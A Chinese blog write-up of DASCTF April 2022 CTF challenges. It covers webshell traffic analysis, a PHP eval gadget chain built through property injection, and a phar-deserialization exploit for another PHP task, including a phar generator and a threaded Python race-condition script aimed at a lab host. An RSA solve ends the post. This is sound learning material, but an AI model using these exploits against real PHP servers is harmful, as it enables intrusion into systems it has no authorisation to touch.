2022DASCTF Apr复现


纯复现了,没打

Misc

当时就看了看这一个misc,觉得应该是有文件,但是没提出来

SimpleFlow

一道流量分析题,用wireshark打开,然后追踪一下tcp流,看起来想是蚁剑的流量特征,在第52流看到了flag的zip

image-20220424214710424

变成原始数据

image-20220424214922714

很明显的504b的zip文件头,复制出来放010里另存为拿到zip文件,但是需要密码,再看看第50流

url解码后

image-20220424215052128

我们直接找m8f8d9db647ecd对应的值,然后把它base64解码

image-20220424215126797

但是还是没有找到密码,而我们发现url解码后的数据还有其他的参数,但是并不能直接base64解码,这是因为传参之后被substr去掉了前面两位

image-20220424215250325

所以我们可以去掉前两位之后再解码,在g479cf6f058cf8对应的Y2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0Ijt6aXAgLVAgUGFTc1ppUFdvckQgZmxhZy56aXAgLi4vZmxhZy50eHQ7ZWNobyBbU107cHdkO2VjaG8gW0Vd中得到我们的密码

image-20220424215358355

PaSsZiPWorD

解压缩,拿到flag

web

warmup-php

这题看起来很麻烦,但是如果自己一步一步调试,还是很好出的

<?php
spl_autoload_register(function($class){
    require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

    public function __construct($action,$properties){

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}

new Action($action,$properties);
?>

先看第一段,action是类名,properties的key是属性,value是值

所以我们的赋值就要依靠properties

然后调用action定义的类里的run方法

run方法在ListView.php里

<?php

class ListView
{

    public $tagName='div';
    public $template = 'flag';

    public function run()
    {
        echo "<".$this->tagName.">\n";
        $this->renderContent();
        echo "<".$this->tagName.">\n";
    }


    public function renderContent()
    {
        ob_start();
        echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
        ob_end_flush();
    }


    protected function renderSection($matches)
    {
        $method='render'.$matches[1];
        if(method_exists($this,$method))
        {
            $this->$method();
            $html=ob_get_contents();
            ob_clean();
            return $html;
        }
        else
            return $matches[0];
    }
}

run->renderContent->renderSection

在renderContent中利用preg_replace_callback对template中的值进行了正则匹配,如果匹配到{\w+}就调用renderSection,而将匹配到的结果进行参数传入renderSection,而在renderSection中将$matches[1]与render进行了一个拼接,并检测是否有这个方法,有就去执行它。

我们可以调试一下看看匹配到的参数matches是什么形式的

image-20220424230946517

经过调试我们发现,如果template是{TableBody},那么经过renderSection,就会调用TestView里的renderTableBody方法

<?php

class TestView extends ListView
{
    const FILTER_POS_HEADER='header';
    const FILTER_POS_BODY='body';

    public $columns=array();
    
    public $rowCssClass=array('odd','even');
    
    public $rowCssClassExpression;
    
    public $rowHtmlOptionsExpression;
    
    public $selectableRows=1;

    public $data=array(1,2,3);
    public $filterSelector='{filter}';
    
    public $filterCssClass='filters';
    
    public $filterPosition='body';
    
    public $filter;
    
    public $hideHeader=false;
    


    
    public function renderTableHeader()
    {
        if(!$this->hideHeader)
        {
            echo "<thead>\n";

            if($this->filterPosition===self::FILTER_POS_HEADER)
                $this->renderFilter();


            if($this->filterPosition===self::FILTER_POS_BODY)
                $this->renderFilter();

            echo "</thead>\n";
        }
        elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY))
        {
            echo "<thead>\n";
            $this->renderFilter();
            echo "</thead>\n";
        }
    }
    
    public function renderFilter()
    {
        if($this->filter!==null)
        {
            echo "<tr class=\"{$this->filterCssClass}\">\n";

            echo "</tr>\n";
        }
    }
    
    public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }

        if($this->rowCssClassExpression!==null)
        {
            $data=$this->dataProvider->data[$row];
            $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
        }
        elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
            $class=$this->rowCssClass[$row%$n];

        if(!empty($class))
        {
            if(isset($htmlOptions['class']))
                $htmlOptions['class'].=' '.$class;
            else
                $htmlOptions['class']=$class;
        }
    }
    public function renderTableBody()
    {
        $data=$this->data;
        $n=count($data);
        echo "<tbody>\n";

        if($n>0)
        {
            for($row=0;$row<$n;++$row)
                $this->renderTableRow($row);
        }
        else
        {
            echo '<tr><td colspan="'.count($this->columns).'" class="empty">';

            echo "</td></tr>\n";
        }
        echo "</tbody>\n";
    }

}

renderTableBody->renderTableRow->evaluateExpression而我们的目的就是调用evaluateExpression里的eval来命令执行

public function evaluateExpression($_expression_,$_data_=array())
{
    if(is_string($_expression_))
    {
        extract($_data_);
        return eval('return '.$_expression_.';');
    }
    else
    {
        $_data_[]=$this;
        return call_user_func_array($_expression_, $_data_);
    }
}

要想从renderTableBody到renderTableRow,就要给data赋值,让它不为空

要想从renderTableRow到evaluateExpression,就要给renderTableRow赋值,让它不为空,而这个值会直接传给evaluateExpression中的eval来执行命令。

最终payload

image-20220424233833974

这里是TestView而不是ListView应该是因为继承的问题,子类可以调用父类的方法

soeasy_php

image-20220425155742598

源码里有个注释的更换头像的按钮,把注释去掉抓一下包

image-20220425155843195

这里存在两个参数,经过测试发现png这里有任意文件读取

image-20220425161103105

要用绝对路径,相对路径访问的时候会404

image-20220425161022803

edit.php

<?php
ini_set("error_reporting","0");
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

function filewrite($file,$data){
        unlink($file);
        file_put_contents($file, $data);
}


if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im",$filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }

    if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        }
        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };
    }
}

看到__destruct这种魔术方法和preg_match里的phar就感觉像一个phar反序列化

class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}
$a = new flag();
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($a); 
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

然后是条件竞争,

image-20220425185506176

from time import sleep

import requests
import threading

req = requests.session()

url1 = 'http://7ca1cf4f-a92c-4cf2-997c-d4c7c19f3f39.node4.buuoj.cn:81/uploads/head.png'
url2 = 'http://7ca1cf4f-a92c-4cf2-997c-d4c7c19f3f39.node4.buuoj.cn:81/edit.php'

data1 = {
    'png': 'phar:///var/www/html/uploads/91fd0f2420aed857ed981856761afac6.png',
    'flag': ''
}

data2 = {
    'png': '/tmp/flag.txt',
    'flag': ''
}


def unlink():
    req.post(url2, data1)


def symlink():
    req.post(url2, data2)


if __name__ == "__main__":
    for _ in range(10):
        t1 = threading.Thread(target=unlink, args=())
        t2 = threading.Thread(target=symlink, args=())
        t1.start()
        t2.start()
    while True:
        # getflag
        flag = req.get(url1).text
        if "flag" in flag:
            print(flag)
            break
        elif '429' in flag:
            sleep(5)
            print('wait!')

条件竞争这东西。。。感觉挺玄学的

image-20220425185118218

image-20220425185753430

warmup-java

java还没学,而且也没找到wp,先留个坑

crypto

easy_real

简单的rsa

import random
import hashlib

flag = 'xxxxxxxxxxxxxxxxxxxx'
key = random.randint(1,10)
for i in range(len(flag)):
	crypto += chr(ord(flag[i])^key)
m = crypto的ascii十六进制
e = random.randint(1,100)
print(hashlib.md5(e))
p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
q = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
n = p*q
c = pow(m,e,n)
print(n)
print(c)
#37693cfc748049e45d87b8c7d8b9aacd
#4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
#c=3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397

已知p,n,c和e的md5值

爆破一下得到e=23

import hashlib
for i in range(1,1000000000):
    res = hashlib.md5(str(i).encode("utf-8")).hexdigest()
    if res == "37693cfc748049e45d87b8c7d8b9aacd":
        print(str(i))
        print(res)

c=3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397
p=64310413306776406422334034047152581900365687374336418863191177338901198608319
q=65267138038038699886916162739434586079731613825212388229424706115289974540917
e=23

然后直接抄个rsa的脚本改改就行

import libnum
from Crypto.Util.number import long_to_bytes

c = 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397
n = 4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
# n = int("",16)
e = 23
# e = int("",16)
q = 64310413306776406422334034047152581900365687374336418863191177338901198608319
p = 65267138038038699886916162739434586079731613825212388229424706115289974540917

d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)  # m 的十进制形式
crypto = long_to_bytes(m)  # m明文
print(crypto.decode('utf-8'))
# key = random.randint(0,11)
# for i in range(len(crypto)):
#  string += chr(ord(crypto[i])^key)
for key in range(1,10):
    print('')
    for i in range(len(crypto)):
        print(chr(crypto[i]^key),end='')

文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录